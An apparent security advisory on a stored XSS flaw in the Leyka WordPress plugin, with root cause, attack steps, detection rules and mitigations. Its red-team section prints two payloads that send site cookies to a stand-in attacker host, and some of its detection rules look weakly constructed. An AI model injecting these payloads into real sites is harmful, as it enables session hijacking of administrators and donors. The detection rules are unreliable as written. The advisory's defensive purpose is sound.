CVE-2025-26766

Executive Summary

CVE-2025-26766 is a Stored Cross-Site Scripting (XSS) vulnerability in the Leyka WordPress plugin (versions <= 3.31.8), developed by VaultDweller. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into donation forms or related pages. When a site administrator or visitor views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 score is 6.5 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation at this time. No public proof-of-concept or exploit code has been released, and no official patch is available.

Supply Chain & Package Security

This vulnerability affects the Leyka WordPress plugin, distributed via the official WordPress plugin repository and third-party marketplaces. Since WordPress plugins are part of a supply chain ecosystem, any site using Leyka <= 3.31.8 is at risk. Administrators should monitor the plugin’s update channel and consider temporary deactivation until a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required (R) – Victim must view the malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited modification of content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces immediate risk. However, stored XSS can persist and affect multiple users, making it a significant concern for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the Leyka plugin’s donation form processing. The plugin fails to sanitize or escape user-supplied input (e.g., donor name, message, or custom field values) before storing it in the database and later rendering it on the frontend. An attacker with contributor-level access can inject malicious JavaScript into a donation form field. When an administrator or donor views the form or related page, the script executes in their browser context.

Root Cause: The plugin uses echo or print functions without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post() on user-controlled data. This allows arbitrary HTML/JavaScript to be stored and rendered.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Attacker submits a donation with a crafted payload in a text field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database without sanitization.
4. When an admin visits the donation management page or a donor views the receipt, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (Leyka <= 3.31.8):

// In leyka-donations.php or similar
echo '<div class="donor-name">' . $donor_name . '</div>';

Here, $donor_name is directly output without escaping.

Patched Code (Hypothetical Fix):

echo '<div class="donor-name">' . esc_html( $donor_name ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with Leyka plugin <= 3.31.8.
• Attacker account with contributor-level privileges.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to a donation form (e.g., /donate/).
3. In a text field (e.g., "Donor Name"), inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. When an admin views the donation list or a donor sees the receipt, the script executes, exfiltrating cookies.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual donation submissions containing <script>, <img onerror>, or other HTML event handlers.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Enable WordPress’s built-in wp_kses filtering for custom fields.

Mitigation:

• Temporarily disable the Leyka plugin until a patch is available.
• Apply a virtual patch via WAF (e.g., ModSecurity rule to block <script> in POST parameters).
• Restrict contributor roles to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• File: Modified plugin files (e.g., leyka-donations.php) containing unsanitized output.
• Database: Entries in wp_postmeta or custom tables containing <script> tags.
• Logs: WordPress debug logs showing PHP warnings about unescaped output.

Example IOC (Database Query):

SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2025_26766_Leyka_XSS {
    meta:
        description = "Detects unsanitized output in Leyka plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26766"
    strings:
        $s1 = "echo" nocase
        $s2 = "print" nocase
        $s3 = "$donor_name" nocase
        $s4 = "$donor_message" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-26766 Leyka Stored XSS Detection
id: 8a3f2c1e-5d7b-4a9c-8e1f-2b3c4d5e6f7a
status: experimental
description: Detects potential XSS payloads in Leyka donation submissions
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/wp-admin/admin-ajax.php"
        cs-method: "POST"
        cs-uri-query|contains: "action=leyka_submit_donation"
        sc-status: 200
    keywords:
        - "<script>"
        - "onerror="
        - "onload="
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in donation messages (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26766 Leyka Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=leyka_submit_donation"; http_client_body; pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Leyka plugin until a patched version is released.
2. Review and sanitize existing donation data for malicious content.
3. Restrict user roles – only grant contributor access to trusted users.

Long-Term Fix:

• Apply the vendor’s official patch when available (monitor WordPress Plugin Directory).
• Implement a Web Application Firewall (WAF) with XSS rules.
• Educate users on safe input practices.

Workaround (Virtual Patch): Add the following to .htaccess (Apache) or Nginx config:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{REQUEST_URI} /wp-admin/admin-ajax\.php
RewriteCond %{QUERY_STRING} action=leyka_submit_donation
RewriteCond %{THE_REQUEST} (<script|<img[^>]+onerror|<svg[^>]+onload) [NC]
RewriteRule .* - [F,L]
</IfModule>

Valters IT
Securing Digital Frontiers